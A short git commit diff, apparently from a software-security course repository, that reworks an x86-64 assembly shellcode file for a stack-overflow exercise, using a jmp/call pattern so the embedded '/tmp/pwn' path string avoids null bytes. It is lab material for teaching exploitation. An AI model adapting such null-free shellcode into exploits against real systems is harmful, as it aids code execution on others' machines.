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Add jmp to avoid /0

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This commit is contained in:
Yorick Barbanneau 2023-03-30 01:24:39 +02:00
parent b87162a19b
commit b3ba6f0a8b
1 changed files with 5 additions and 3 deletions
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8
content/secu_logicielle/td5-stackoverflow_shellcode/files/q3/shellcode.S
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@ -2,9 +2,7 @@
.globl _start .globl _start
_start: _start:
call p jmp indirect
.asciz "/tmp/pwn"
p: p:
xorq %rdi, %rdi xorq %rdi, %rdi
@ -26,3 +24,7 @@ p:
pop %rax pop %rax
lea -1(%rax), %rax lea -1(%rax), %rax
syscall syscall
indirect:
call p
.asciz "/tmp/pwn"